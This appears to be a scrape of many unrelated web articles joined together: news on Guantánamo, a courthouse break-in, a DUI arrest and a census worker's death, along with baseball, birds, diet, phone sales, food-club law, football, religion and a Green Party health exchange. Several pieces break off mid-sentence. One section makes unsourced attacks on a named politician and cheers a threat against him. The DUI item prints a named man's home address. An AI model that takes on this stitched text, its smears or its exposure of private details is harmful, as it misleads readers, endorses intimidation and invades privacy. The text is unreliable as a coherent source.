Obama established a quasi-parole process to expedite transfers from Guantánamo, and between 2014 and 2016 the review system determined that the other nine detainees posed a negligible security risk. Those detainees are Mohammed Kamin, Mahmud Abd Al Aziz al-Mujahid, Saeed Ahmed Mohammed Abdullah Sarem Jarabh, Zahar Omar Hamis bin Hamdoun, Majid Mahmud Abdu Ahmed, Ayub Murshid Ali Salih, Obaidullah, Bashir Nasir Ali al-Marwalah and Hamid al-Razak – also known as Haji Hamidullah, an Afghan in his 50s.
In 2008 two of the three Afghans, Obaidullah and Kamin, were charged with crimes related to terrorism, but those charges were withdrawn. The remaining 13 detainees transferred were held for over a decade without charges of a crime.
Administration officials have said for months that they would speed up detainee transfers this summer, as Obama’s time in office winds down with his promise to close Guantánamo – made on his second day in the White House – still unfulfilled.
The Guardian reported in May that the Obama administration had reached deals with a half-dozen foreign countries to repatriate approximately two dozen detainees.
The 15-detainee transfer is the largest Guantánamo release during Obama’s presidency. While Obama released 10 Yemeni detainees to Oman in January and nine more Yemenis to Saudi Arabia in April, Monday’s transfer eclipsed a December 2009 release of 12 detainees to three countries.
Transfers of larger numbers of detainees in a single round was more typical of the Bush administration, which established Guantánamo as a wartime detention facility in 2002.
'No one but himself to blame': how Obama's Guantánamo plans fell through Read more
With the detainee population at Guantánamo now down to 61, 10 of whom are in some phase of the military tribunals process, Obama is closer to what his administration calls an “irreducible minimum” of detainees: those it deems unable to prosecute but too dangerous to release. Obama’s heralded plan to “close” Guantánamo involves indefinite detention for that cadre, whose number remains undefined.
Yet as he nears the end of his presidency, Obama has shown a willingness to take risks on so-called “forever prisoners”. One of the worst-tortured detainees at Guantánamo, the Mauritanian Mohamedou Slahi, was recently cleared for transfer by the parole-like board. Later this week, the board will consider the case of former CIA black-site detainee Hambali, once considered al-Qaida’s |
eyelash - they were all too busy counting out the scores of thousands of dollars Gill had gifted them.
Then an insignificant man named Christopher Hayden dared to speak out by sending Faisal Gill a series of strongly worded emails, for which he has been charged with the 1st Amendment abrogating crime of "disturbing the peace" with a hate crime enhancement. Hayden has been vilified in the leftist news outlets of Vermont while Gill has seen no coverage of his nefarious background.
The only thing Mr. Hayden ever promised Faisal Gill was that if he did not leave Vermont politics, he would soon wish he had. PROMISE KEPT.
Faisal Gill made the error of pulling his strings of influence to have this story badly misrepresented in the media in Vermont. This got ordinary Vermonters wondering what he was doing leading the Vermont Dems, considering his background as a George W. Bush spook. After mere months as chair of the Vermont Dems, he was caught in his own trap and soon resigned in shame. In leaving, he wistfully told one reporter "I have been a strong Democrat since 2005." Except that he was running as a conservative Republican in Virginia in 2007.
Meanwhile, Faisal Gill is actually MARRIED to one of the prosecutors in the state's attorney's office that filed the charges against Hayden. Her name is Aimee Griffin.
And you thought Vermont was all ice cream and maple syrup,…The Hall of Fame Induction Weekend at Cooperstown, NY will be this weekend, July 22-24. Baseball fans of all teams from across the globe will travel to this rural haven in New York for the festivities. The Hall of Fame Museum is a must for all fans. There are also some additional activities during induction weekend that all baseball lovers should check out. Here are the top three activities to check out at induction weekend.
Hall of Fame Induction Weekend at Cooperstown
3. Spink Award/Ford C. Frick Award Ceremony
The award ceremony on Saturday afternoon at Doubleday Field is certainly one of the highlights of the Hall of Fame weekend. The ceremony honors one writer (awarded the J.G. Spink Award) and one broadcaster/announcer (awarded the Ford C. Frick Award) every year. Many baseball fans will flock to Cooperstown to honor the players and managers who will be inducted. Only a select few will decide to attend this award ceremony. Those who do attend will not regret it.
Broadcasters and writers are simply some of the best storytellers around. There is nothing better than hearing men and women who have spent their lives around baseball share the memories of their careers. This award ceremony may be overlooked by some, but a true baseball fan must check it out. The 2016 award recipients will be Dan Shaughnessy (J.G. Taylor Spink Award) and Graham McNamee (Ford C. Frick Award). You can read more about each award winner here.
2. Sunday Induction ceremony
The Sunday induction ceremony is the one event that every fan looks forward to. Each inductee gives a speech detailing their career and thanking the people who helped them along the way. The ceremony gives fans a chance to see their favorite player or manager alone in the spotlight. There really is nothing like it for fans of the game. It provides an opportunity for each Hall of Famer to tell the stories that left last impressions throughout their careers. This year’s inductees are Mike Piazza and Ken Griffey Jr.
It is now possible for people around the world to tune into the induction ceremony thanks to television and online streaming. This is great for those fans who cannot make the trek to Cooperstown every summer. With that being said, one cannot truly appreciate the experience without being present for the introduction of the returning Hall of Famers. There is a lot of energy and emotion going through the crowd that simply cannot be translated through video.
The numerous Atlanta Braves fans who made the trip in 2014 turned Cooperstown into “Braves Country” for a weekend. At the 2015 induction, it was a large congregation of Dominicans who stole the show. There were many drums, songs, and chants heard as they showed their affection for Pedro Martinez. Each returning Hall of Famer is also greeted with a round of applause and various cheers. It is worth noting that Hammerin’ Hank Aaron traditionally receives the loudest and longest applause at the ceremony.
1. Parade of Legends
Believe it or not, the Parade of Legends is the most “can’t miss” event of Induction Weekend. The parade directly follows the Spink and Frick Award presentation ceremony on Saturday evening. Fans and visitors line the sidewalk down Main Street leading up to the Hall of Fame Museum. In fact, one of the coolest scenes to take in is the many baseball fans packed onto rustic Main Street with the New York Mountains as a backdrop. It is a gorgeous picture of Americana, and that is before the parade even starts!
The parade begins with returning Hall of Famers from the oldest class to the newest. The legends come down Main Street before heading into the museum at the other end. The parade gives fans the opportunity to see stars from yesteryear – baseball giants like Sandy Koufax, Hank Aaron and Johnny Bench – up close and personal. The former players and managers soak up the experience while waving and having a blast with the experience. If seeing one Hall of Famer gets you excited, imagine seeing fifty of them all in one place at one time. No other event can do what the Parade of Legends does. Don’t miss it!
Main Photo:
A car drives past a sign welcoming visitors in Cooperstown, New York, U.S., on Saturday, July 26, 2014. President Obama, during a visit to Cooperstown in May, said tourism “translates” into jobs. Photographer: Ron Antonelli/Bloomberg via Getty ImagesCourthouse high drama actually just high jinks 5 partying French citizens now face burglary charges
Five French citizens arrested at the Bexar County Courthouse early Wednesday were partiers, not terrorists, local and federal investigators concluded after questioning the men and searching their vehicle.
All five now face burglary charges. They were caught after a silent alarm alerted authorities at about 1 a.m. that someone was using one of the historic building's fire escapes.
After entering through a window on the fourth floor, two intruders were seen on surveillance video swiping an oversized ceremonial gavel from a judge's bench and later donning sombreros found in a Bar Association storage closet.
As they wandered the halls for about 30 minutes, police and sheriff's deputies surrounded the building, Sheriff Amadeo Ortiz said.
They were arrested as they left the courthouse. Two others were taken into custody outside, and the fifth was arrested at the group's rented recreational vehicle, which was parked nearby.
The suspects' names hadn't officially been released late Wednesday.
“We found a bottle of cold beer up in the courtroom, so we know they had been having a partying time,” Ortiz said. “It's very likely these individuals were just intoxicated. They may have not even known what this building was.”
Earlier in the day, officials weren't so sure.
Officials had stated that the men, all in their mid-20s, were from Morocco but corrected themselves later in the day, saying they had French driver's licenses and passports. The French Consulate in Dallas has been notified of the incident, they said.
The group had been in the United States since Sept. 10 on 90-day tourist visas, visiting New York, Miami and traveling across the country in the RV.
“It's just so very strange,” County Judge Nelson Wolff had told reporters as the men still were being questioned with the help of an interpreter. “It's either some guys on a prank of some sort, or it could be terrorists.”
Authorities found photos in the RV of various landmarks, including courthouses and dams, federal sources said, but cautioned that they might be tourist materials.
The men were cooperative, consenting to a search of the vehicle, a source close to the investigation said.
Ortiz, the FBI and Homeland Security Department officials refuted news reports that at least two of them were on federal watch lists.
“They were clowning around in the courtroom,” Ortiz said, adding that sheriff's investigators could find no apparent terror or political motive for breaking in. Federal law enforcement sources agreed, although they said their investigation remained open.
Given their foreign status and the oddity of the situation, every possible motive had to be investigated, Ortiz said.
“Why would a bunch of tourists choose a courthouse to break into? That is the part that's very hard to reconcile,” First Assistant District Attorney Cliff Herberg said. “So we're not taking anything for granted on them and we're going to be seeking a high bond.”
Sources said the men had been drinking at Coyote Ugly, a downtown bar, before they arrived at the courthouse. At Coyote Ugly, witnesses described them as having a raucous time.
“They kept ordering beer. They didn't even know what kind, just beer,” said one bartender who asked not to be identified.
Another said the men went out onto Commerce Street and snapped pictures of each other, halting traffic.
Four of them started their trip in the New York area, officials said. They paid for the RV rental with a credit card and cash, a $10,000 booking, a spokesman for the rental company said.
“There was nothing suspicious about them,” said the spokesman, Daniel Schneider. “They were just normal guys.”
A fifth man flew into Miami before joining the others, authorities said.
Facebook profile pictures that match the names of the five suspects depict energetic, goofy men wearing trendy sunglasses, T-shirts, sneakers and baseball caps. On one suspect's page, an album titled “11 septembre 2011” stated it was taken in New York and displayed 10 snapshots of four of the men in tourist locales — posing with a masked Spider-Man in Times Square, laughing in Central Park and riding a ferry.
Inside the courthouse, lawyers, county employees and those waiting for hearings could be overheard making nervous jokes Wednesday morning about terror plots.
All judges were invited to a special meeting at noon in which the danger was downplayed. Bomb-sniffing dogs from at least three agencies already had scanned the area, said state District Judge Victor Negrón, whose gavel had been grabbed.
The memento — still wrapped in a red, white and blue ribbon from when it was given to Negrón at his swearing-in ceremony — was dusted for fingerprints and returned to him later in the day. The men likely saw it as a potential trophy of their prank, Negrón said, laughingly referring to it by a new nickname: “the Moroccan hammer.”
The response to the break-in was reassuring, Negron added.
“It's a good test of how they would work had this really been something insidious instead of just a prank,” he said.
Staff Writer Eva Ruth Moravec contributed to this report.To date, more than 12,000 Important Bird & Biodiversity Areas (IBAs) have been identified by BirdLife – making it the largest list of globally-important biodiverse sites in the world. And as we continue to perform vital research in remote, rugged areas, the number of identified IBAs will only continue to grow. The latest to be recognised is Papikonda National Park, a 1,012 sq km region of deep forested valleys and steep hills nestled in the Eastern Ghats, a mountain range that stretches across India’s eastern coast.
The IBA was identified during a Conservation Leadership Programme-funded study of mammals in the Eastern Ghats. The area’s tropical forests are a biodiversity hotspot, hosting many endangered plants and animals, but unfortunately it was unsafe for many years to conduct research in the area due to the presence of a local extreme political group Naxalites. However, this threat has recently decreased and the area is once again accessible for research.
The primary purpose of the study, which was undertaken by the Ashoka Trust for Research in Ecology and the Environment (ATREE), was to assess the effects that landscape change and habitat degradation are having on the mammals that live in the region. However, during the course of the project, ATREE also conducted a week-long intensive bird study alongside the Bombay Natural History Society (BNHS, BirdLife in India). Numerous globally-threatened birds were spotted during this exercise, including Pale-capped Pigeon Columba punicea (VU), Yellow-throated bulbul Pycnonotus xantholaemus (VU), Black-bellied Tern Sterna acuticauda (EN) and Malabar Pied Hornbill Anthracoceros coronatus (NT). Also, the Critically Endangered Forest Owlet Heteroglaux blewetti was spotted near the park’s northern border. From this, the researchers were able to provide a site assessment of the national park and declare it an IBA. However, this fledgling IBA is already in danger, with the most ominous threats including the expansion of nearby commerical plantations, forest fires, hunting, mining and the ongoing construction of Indira Sagar Multipurpose Dam across the Godvari River, which runs close to the park’s eastern border.
Conservationists - the CLP is now accepting grant applications for 2017. The deadline for applications is 28th November.Forty-four years ago my mother, Frances Moore Lappé, published “Diet for a Small Planet,” a book that dared to suggest human beings could survive, even thrive, on a plant-centered diet and that doing so would be good for our bodies and the planet. Part meatless cookbook, part treatise on the roots of hunger and the waste, inefficiency and injustice of diverting prime cropland to feed livestock rather than people, her book went on to sell more than 3 million copies.
At the time, the messages in her book were so threatening to the meat industry that the National Cattlemen’s Beef Association, the trade group for U.S. beef producers, hired a team of nutritionists to prove her vegetarian recipes were inedible. It’s hard to imagine now, seeing as you need only tune in to the daytime talk show “The Chew,” flip open Food & Wine or sidle up to a table at Alice Waters’ Chez Panisse restaurant in Berkeley, California, to realize plant-centered meals are everywhere — and devoured.
Last month, some four decades after my mom published that book, the scientific advisory committee for the federal nutrition guidelines, which inform everything from food stamps to school lunches, recommended for the first time that Americans choose a more plant-centered diet for both health and environmental reasons. The committee’s report states:
A diet higher in plant-based foods, such as vegetables, fruits, whole grains, legumes, nuts and seeds, and lower in calories and animal-based foods, is more health promoting and is associated with less environmental impact than is the current U.S. diet.
And, as the advisory committee notes, the average U.S. diet currently “has a larger environmental impact in terms of increased greenhouse gas emissions, land use, water use and energy use.” That’s in part because we eat more red meat and poultry per capita than anywhere else in the world, save Luxembourg.
Studies show that reducing red meat and poultry consumption is a key way to cut water use and greenhouse gas emissions. Beef is the main culprit: A 2014 study found that beef production in the United States requires 28 times as much land and produces five times as much greenhouse gas emissions as the average production of other livestock. And a 2012 comparative analysis (PDF) of water use across a wide variety of foods found beef was the most water intensive, with a water footprint per gram of protein six times as large as for legumes.There’s been no shortage of tantalizing details coming out of Apple and Samsung’s big legal spat in San Jose, and that trend shows no sign of slowing down.
Case in point: Samsung’s legal team filed a document (first spotted by AllThingsD) the other day that shed some new light on the two companies’ smartphone and tablet sales over the years. The data was put together by the Invotex Group (who also whipped up this handy PDF chart outlining what Apple thinks it deserves in damages), and it appears they’ve left no stone unturned.
Take a look at this little guy, for instance.
Yeah, there’s a lot of stuff going on there — 24 of Samsung’s smartphone models are under fire in this case, and there’s sales data here for each of them. In case you don’t quite feel like poring over the entire thing, here it is in a nutshell: Samsung sold a total of 21.2 million of those accused smartphone models between June 2010 and June 2012 which works out to $7.5 billion in sales revenue over the two years.
Surprisingly, the top selling Samsung smartphone is the prepaid Galaxy Prevail, with 2.25 million sold during the timeframe in question. Boost Mobile must be mighty pleased.
Apple’s numbers on the other hand are a fair bit more imposing — the Cupertino company has sold over 85 million iPhones since the device made its debut back in 2007 (netting Apple a cool $50.7 billion in revenue), but that’s hardly a fair comparison to Samsung’s figure because of the timeframe involved.
Apple’s financial calendar doesn’t match up terribly well here, but from Q3 (July) 2010 to Q2 (April) 2012, Apple sold over 60 million iPhones. This still isn’t the most accurate number — the provided sales numbers don’t account for every single one of Samsung’s smartphones — but it’s still a considerable difference between the two. Samsung’s Android devices may be taking over the rest of the world, but it’s still got a hell of a fight in front of it here in the states.
Things get even more interesting when we turn to look at tablet performance. Apple has sold a total of 34 million iOS tablets since 2010, raking in $19 billion in revenue as a result. Meanwhile Samsung’s Galaxy Tab sales haven’t been quite as amazing — the Korean electronics giant shipped a total of 1.4 million Galaxy Tabs, Galaxy Tab 10.1s, and Galaxy Tab 10.1 LTEs between October of 2010 and March of this year.
Again, it’s worth noting that the portrait this data paints is missing some crucial pieces, like the handful of tablets that Samsung has released since March. There’s a small silver lining to be found here though — as Zach Epstein over at BGR points out, Samsung’s average revenue per tablet during that period was just shy of $450, compared to roughly $353 in revenue for each accused smartphone it sold.When San Francisco’s Underground Market got started, the city’s health department recognized it as a private event where people exchanged (albeit, with money) homemade foods. Interested participants simply had to sign up on the Web site of the event’s host organization, Forage SF, and they became “members.”
Soon the market became one of San Francisco’s most popular phenomena–a place where hip, mostly young food entrepreneurs could get their brands out there and foodies could gather, socialize, and discover bafflingly delicious items such as “bacon brack.” The whole point, said founder Iso Rabins, was to create opportunities for food entrepreneurs who could otherwise not afford to operate out of certified commercial kitchens.
When the event swelled to accommodate the hundreds and soon thousands of people who would line up to attend, the market became an undeniably public. Then, earlier this summer, the San Francisco Health Department put a halt to the whole delicious operation. At present, the market is in limbo and Rabbins, the Health Department, and many others are chewing on the question: What makes an event or club private?
The realm of shareable food is flourishing; there’s community meal sharing, potlucks, gift-economy restaurants, community food growing projects, food swap events, pop-up stores, stone soup gatherings, food-buying cooperatives, goat-sharing, chicken cooperatives, and events like The Big Lunch. A handful of start-up companies are also creating peer-to-peer platforms to help people feed each other. Check out Grubly, Munchery, Gobble, and EatWithMe, all of which connect chefs with foodies and/or catalyze community food events.
Now picture all of this food sharing activity on a spectrum. At the private and personal end, we eat a homemade meal with our family. At the public and commercial end, we get chicken nuggets from the drive-thru window at a chain restaurant. Somewhere in between a line has been drawn to determine when to impose protections and regulations. At the Sustainable Economies Law Center, we are on a constant search for that elusive line.
What is a Private Club?
“Private club” could very well be the magic password to the sharing economy, for legal purposes, anyway. The term might conjure up exclusivity, but, to the extent that private clubs are exempt from burdensome legal regulations normally applied to public activities, this designation also benefits groups of people that come together to share.
The public/private distinction is relevant for the purpose of applying many laws, not just food regulations. With a shortage of case law in the food realm, we can derive guidance from a handful of cases that examine the issue in the context of Civil Rights laws, the Americans with Disabilities Act (ADA), smoking laws, and employment laws. For anyone wanting to delve deeper, see the original version of this article.
The cases vary, but generally, courts have weighed a handful of factors to decide whether a club is really and truly private. Factors that courts tend to weigh include:
Whether the club applies meaningful selection criteria to the admission of new members;
The size of the membership;
The degree of member control of club operations;
Whether substantial membership fees are charged;
Whether the entity is operated on a nonprofit basis;
Whether members know each other and whether there is personal interaction among members;
Whether the primary purpose served by the club is social or business;
The extent to which the facilities are open to the public;
The extent to which the club advertises to the public and/or publicly solicits new members;
The degree to which club facilities are available for use by non-members;
The degree of public funding; and
Whether the club was created specifically to avoid compliance with the Civil Rights Act or other laws.
Although no single factor is controlling when determining whether a club is private, most courts have considered the selectivity of the membership to be of great importance. Preferably, private clubs will have meaningful criteria on which people are chosen to be accepted as members, rather than allowing anyone to join at any time.
Private Restaurants and Markets
How does all of this apply to the sharing of food? Is it possible to create a “restaurant” or “market” that is private and, therefore, exempt from some of the regulations that apply to its public counterparts? Here’s a look at these possibilities, as well as a scenario for a private raw milk club.
Your Private “Cafe”
Let’s say you and 10 of your close friends agree that you make the world’s best quiche. You jointly hatch a plan for Quiche Café, which is essentially a weekly dinner party at your house. You buy the ingredients and make the quiche. Your 10 friends, the core members of the Café, bring the drinks and entertainment. Most importantly, everyone helps out with the dishes. Each core member of Quiche Café is encouraged to bring a friend or two, so each dinner is attended by an average of 25 people. Everyone chips in around $8, even though you’ve calculated the per-person cost of ingredients to be around $4. Everyone feels that any surplus could be seen as a modest stipend or your thank-you gift for being the hostess with the most-est.
So is Quiche Cafe private enough to avoid health and safety regulation? Based on guidelines we’ve gleaned from the court decisions, we think so.* Participation is restricted to the original 10 friends and their guests. Quiche Café is neither advertised nor open to the public. The members jointly manage the club for their own benefit. Although the chef is making a small stipend, the core purpose of the activity is to provide social and edible sustenance to friends.
(Note that zoning is a separate issue. A neighbor could still complain to the local Planning Department that you are operating a social club or business out of your home in violation of the residential zoning of your neighborhood. Arguing that you are a private dining club might not help here, but you could argue that this is a dinner party, which is generally accepted as a residential use of a home.)
Your Private “Market”
Let’s imagine you want to share your quiche with more people. You hear about a weekly gathering where people exchange homemade foods. Sometimes people gift their foods to each other, sometimes they barter, and sometimes they sell. You have to be recommended for membership by someone who is already a member. You also need to fill out a membership application and explain how most of your ingredients come from socially responsible sources. Once you are admitted as a member, you are given passes to bring up to five guests.
No one can get in the door without a pass, and you are not allowed to sell your five guest passes or give them to people you don’t know. Members are required to pay monthly dues of $50, to attend four meetings per year, to elect a board of directors, and to sometimes take part in special committees. The board of directors may hire a manager for the event, but major decisions about the gathering are made by the member-elected board. The gathering is limited to 100 food artisan members and overall attendance is limited to 600.
Again, we feel that this activity should be treated as private and not subject to health permit requirements.* The activity is collaboratively managed by members, membership is restricted, the event is not publicly advertised, and non-member attendees may come, on a limited basis, as guests of members. Although income from the event may contribute to the livelihoods of the food artisans and the event manager, the entity itself is not operating for a profit, but rather to provide a forum for the appreciation of interesting and hand-crafted foods.
Your Private Goat Club
Sharing goats and cows is a common way that people have overcome barriers to raw milk access. Raw milk is subject to strict food and agricultural regulations, and has become a hot topic with the recent and dramatic shutdown of some raw milk operations and vendors. Most recently, we learned that a goat-sharing arrangement managed by Evergreen Acres Goat Farm was cited by the District Attorney in Santa Clara County, California. It seems that the legal particularities of goat sharing still need to be explored and clarified. Nevertheless, a small and private group of goat sharers, in our opinion, should be exempt from the legal hurdles.
Here’s an example. You and 10 community members come together to buy and share ownership of four goats, which are kept in your yard. Each week, members stop by to pick up bottles of milk. Your group has decided to allow in only four more members, but only if those members demonstrate that health needs prevent them from consuming pasteurized milk. Everyone takes turns helping out with the goats, and the group meets monthly to touch base and meet about goat-related things. Everyone chips in $30 per month for goat food and veterinary costs. Since you are the designated goat keeper, you don’t have to pay the $30.
Once again, we believe that this club is private and should not be subject to food safety regulations.* Like the private “market,” this goat club is collaboratively managed by the club members, membership is restricted to 15 people, and it is not advertised to the public.
But Feeding Total Strangers is Fun and Important!
This is true. Enabling people to feed each other should be a high priority, and it won’t always be practical or desirable to relegate our food sharing activities to the private realm. We’re hungry for a world where tons of small food entrepreneurs can make it in competition with the giant food conglomerates. The shareable food movement localizes economies, feeds communities in challenging economic times, and supports our environment by encouraging localized food production and lower carbon “foodprints.”
Furthering the Shareable Food Movement
There’s much to say on this topic, but here are a few thoughts. First, we can create new platforms for food production and food sharing: Shared commercial kitchens, like La Cocina in San Francisco, are part of the answer, because they reduce the barrier to entry for small entrepreneurs; more community marketplaces create a space for entrepreneurs to get their products out there; and marketing cooperatives can help entrepreneurs aggregate and sell their products. These are all sharing solutions that give entrepreneurs access to spaces and markets that are normally expensive and inaccessible.
Furthermore, we can all work to pass new laws that lower the overall set of legal barriers to small food enterprise. An easy place to start is with cottage food laws which have already been passed in half of the U.S. states. Cottage food laws enable the sale of home-made foods that are “non-potentially hazardous,” such as breads, cakes, jams, and granola. Allowing the sale of back-yard produce is another step, and a handful of cities have recently done this or are currently considering it. (See San Francisco, Berkeley, and Oakland.) Food sovereignty laws take this even further and endeavor to de-regulate many facets of food production.
* Disclaimer: Please don’t rely on anything in this article as legal advice. In spite of what some courts may hold or what we at SELC may opine, every jurisdiction has a mind of its own.
A version of this article first appeared on Shareable Magazine. The Sustainable Economies Law Center’s Legal Intern Kelly Densmore also contributed to this article.
Photos of the LA Food Swap by TypeFiend.Gabriel Jesus became the youngest to ever score four goals in CONMEBOL World Cup qualifying on Tuesday.
Brazil prodigy Gabriel Jesus will receive admonishment from his mother for missing a chance to score in the Selecao's 2-0 defeat of Venezuela in World Cup qualifying on Tuesday.
Gabriel, 19, scored an eighth-minute opener against El Vinotinto in Merida, but missed a gilt-edged chance later in the first half, much to the chagrin of his perfectionist mother, Vera Lucia.
Venezuela Venezuela Brazil Brazil 0 2 FT Game Details GameCast
Lineups and Stats
Knowing she would be unhappy with the miss, Gabriel -- who signalled her by making a phone call-gesture after scoring his goal -- tugged on his ear to acknowledge her expected reaction.
Speaking with Globo announcers after the match, she admitted he'd done the right thing.
"So today he deserves love because he scored a goal, right?" the announcer asked Vera Lucia, who answered: "First a kiss for the goal, yes, but then I pull his ear for missing the second."
After a "special" talk from his mother before the match, the newly signed Manchester City man set a CONMEBOL record in becoming the youngest player ever to score four goals in World Cup qualifying. And it was done in the absence of Brazil star Neymar, who was suspended from the match for card accumulation.
When told by Globo announcers her young son would need her help in Manchester next year, she said she wants to be in England with him, but that it could prove difficult.
"I really want to go but I am terrified of flying," she said.
Brazil finished the October round of qualifiers with two wins from two matches. Tite's men now sit atop of the CONMEBOL table after 10 rounds.
Follow @ESPNFC on Twitter to keep up with the latest football updates.Unitarian Universalist congregations affirm and promote seven Principles, which we hold as strong values and moral guides. We live out these Principles within a “living tradition” of wisdom and spirituality, drawn from sources as diverse as science, poetry, scripture, and personal experience.
As Rev. Barbara Wells ten Hove explains, “The Principles are not dogma or doctrine, but rather a guide for those of us who choose to join and participate in Unitarian Universalist religious communities.”
1st Principle: The inherent worth and dignity of every person; 2nd Principle: Justice, equity and compassion in human relations; 3rd Principle: Acceptance of one another and encouragement to spiritual growth in our congregations; 4th Principle: A free and responsible search for truth and meaning; 5th Principle: The right of conscience and the use of the democratic process within our congregations and in society at large; 6th Principle: The goal of world community with peace, liberty, and justice for all; 7th Principle: Respect for the interdependent web of all existence of which we are a part.
The seven Principles and six Sources of the Unitarian Universalist Association grew out of the grassroots of our communities, were affirmed democratically, and are part of who we are. Read them as they are written in our UUA Bylaws.
Learn MoreDanbury man charged with driving drunk,.540 blood alcohol level
NORWALK — Police say a Danbury man has been arrested on a warrant for allegedly drinking two bottles of vodka before 11 a.m. and passing out in his car with a blood alcohol level of 0.54 percent, nearly seven times the legal limit of 0.08 percent.
Daniel Pyne, 33, of 151 Shelter Rock Road, was charged with operating a motor vehicle with a registration/license that is suspended/revoked and operating a motor vehicle while under the influence.
Judge William Wenzel arraigned Pyne at Norwalk Superior Court on Tuesday, where he was ordered held in lieu of a $10,000 cash bond.
Pyne, who was ordered not to drive or operate a motor vehicle, is due back in court on March 27. He also has another court hearing scheduled for April 7.
According to court documents, police were alerted to a call of an unconscious male slumped over inside a black Toyota on Flower Lane around 10:30 a.m. on Jan. 30.
Upon arrival, officers found an ambulance and Norwalk firefighters surrounding the vehicle in question, which was blocking a driveway of a home on the street.
The driver, Pyne, was found sitting in the driver's seat, barely conscious and not able to form sentences. Police say his eyes were glassy and bloodshot and a strong odor of alcohol was wafting from the car.
Norwalk paramedics removed Pyne from the car because he was unable to walk and rushed him to Norwalk Hospital for treatment.
Prior to the officer's arrival, a Norwalk firefighter had turned off the ignition to Pyne's car and removed the key, saying he was afraid the driver would become agitated and drive into a fire engine that was parked in front of the vehicle.
Police say there were six bottles of vodka, some empty, some half-full, in the car, along with several bottles of mouthwash, Visine and empty beverage bottles.
In the trunk, police say they found an empty bottle of vodka and a paperback book titled, "Alcoholics Anonymous."
Police attempted to interview Pyne at the hospital, but were unable to do so because he was allegedly incoherent. A check of his driver's license showed a suspended license and a pending DUI arrest from December 2014, prompting police to apply for a search warrant for Pyne's medical records.
On Feb. 24, police obtained a copy of Pyne's medical record from Norwalk Hospital, which revealed a blood alcohol level of 0.540 percent from the Jan. 30 incident.
Police then applied for an arrest warrant for Pyne and attempted to serve it to a Stamford address on Pyne's license, but were unable to reach him. Information was then obtained from Wilton police regarding Pyne and a DUI arrest from March 12, where he used an address in Danbury and a work address of the Royal Bank of Scotland (RBS) in Stamford.
On March 23, police went to RBS and took him in custody in the cafeteria area of the building. Pyne allegedly told police that he started drinking the night before the incident and continued on Jan. 30 by drinking an entire bottle of vodka in the morning before work.
He then allegedly stopped at a liquor store on the way to work and bought another bottle of vodka, which he drank on Flower Lane before he passed out with the engine running.The Associated Press reported on Friday evening that according to a witness, the Kentucky teacher and part-time census worker who was found dead and with a rope around his neck in a remote area of a national forest on September 12 was also naked, bound, and gagged when his body was discovered.
Jerry Weaver was attending a family reunion when he and a group of relatives went to visit family graves at a cemetery in the forest and found the body of Bill Sparkman.
Weaver told the AP, “The only thing he had on was a pair of socks. And they had duct-taped his hands, his wrists. He had duct tape over his eyes, and they gagged him with a red rag or something. And they even had duct tape around his neck. And they had like his identification tag on his neck. They had it duct-taped to the side of his neck, on the right side, almost on his right shoulder.”
Weaver also said that a pickup was parked nearby with Sparkman’s clothes in the bed of the truck. “I thought he could have been killed somewhere else and brought there and hanged up for display, or they actually could have killed him right there,” Weaver stated. “It was a bad, bad scene.”
Police would not comment on Weaver’s remarks, but two people with knowledge of the investigation did confirm certain details, such as the fact that Sparkman’s census identification badge was taped in the area of his head and shoulder.
Authorities have revealed that the word “fed” had been written on Sparkman’s chest with a marker, but state police have refused to speculate on whether the death was homicide, suicide, or an accident. According to a story which appeared in the Washington Post prior to the latest revelations, “State and federal law enforcement officials on Thursday dismissed the suggestion from a news service report that the man, William Sparkman, 51, may have been targeted because he worked for the federal government, calling that speculative.”
Those speculations are certain to increase now that it seems undeniable Sparkman’s death was homicide. Time Magazine noted on Friday, “The discovery of the body of Bill Sparkman, 51, a substitute teacher and a field worker for the bureau, comes at a time when talk media, tea parties and white-hot town-hall meetings have fanned antigovernment sentiment. Speculation has run rampant that the Sparkman case may be related to the vitriol. Kentucky, like many other Southern states, voted overwhelmingly for Senator John McCain during the 2008 presidential election.”
Time went on to argue that the murder may have more to do with the region’s history of moonshine liquor — and the recent reputation of the Daniel Boone National Forest as a haven for pot growers — than with anti-government or anti-Obama sentiment. The fresh details seem certain to fan the arguments on both sides.Our family celebrates Easter which is right around the corner. I've been making marshmallows for a few weeks, trying out different ingredients and techniques. I wanted to avoid corn syrup so I |
of public money on something that doesn’t work, but if it does work then it should be integrated), but does give rise to your question of what kind of evidence would be sufficient. In practice it would be me as spokesperson who would interpret the meaning of the policy (this is established practice in the Green Party). My first port of call would be Cochrane. If there is no guidance there, then it’s probably a no, but as someone who used to teach at postgrad level in research methods I would also be in a position to look at any papers that are proposed as providing evidence and make an assessment. The obverse of this commitment does also apply ie if the state is currently funding therapies with poor or no evidence of effectiveness then it should stop doing so. This applies both to ‘complementary therapies, but also to mainstream treatments (my favourite instructive example being mammary arterial ligation as a treatment for coronary heart disease – it’s worse than ineffective). In the case of rongoa I think matters actually are more complex. In addition to the cultural sensitivity matters to which you refer there are also Article II Treaty rights, so it’s not simply a matter of evidence. And when it comes to the evidence, far fewer studies have been undertaken. You probably know that there is significant evidence internationally that such indigenous treatment systems may be effective, even though their intervention logic and mechanism are quite different from traditional western approaches (eg Kleinmann in relation to mental illness in Taiwan). It could be that strongly held cultural beliefs may create a substantial placebo effect. Sometimes, even if we know the effect is just placebo, it could be worth having. So on this point I would interpret our policy as supporting the availability of rongoa, even though the evidence base for effectiveness may not be strong. I would also support further research to create a sound evidence base, where this doesn’t currently exist. Hope that’s useful. Please feel free to share this if you want. Best, Kevin
Honestly, I’m quite happy to hear this answer. It sounds to me like the mentions of evidence are more than lip service, and hopefully indicative of a change in direction for the Greens in this area. The fact that Kevin Hague is their spokesperson on Health and ACC gives me hope as well. Especially comparing him to their past Health spokesperson Sue Kedgley, who has some ideas about healthcare that are rather wacky.
I would like to make one more comment regarding the issue of traditional medicine such as rongoa. First off, rongoa is not something I’ve looked into in much depth, I don’t know much about the state of the evidence and don’t mean to discuss it here. I would like to say though, that when I referred to issues like it being “complex and often difficult”, I meant to imply that it is not as simple as it may be in some other cases, where the only important question may be “what does the evidence say?”.
These traditions are often more than just for healing, they’re part of a wider culture and the people that use them are often already part of a disadvantaged group. If we care about what’s best for people, then we also need to care about the repercussions of discouraging or somehow diminishing such a part of their culture. As Kevin mentioned in his response, this is where things like the Treaty of Waitangi become important. There’s also an important distinction to be drawn between treatments for which there is negative evidence and those for which there is no evidence one way or the other.
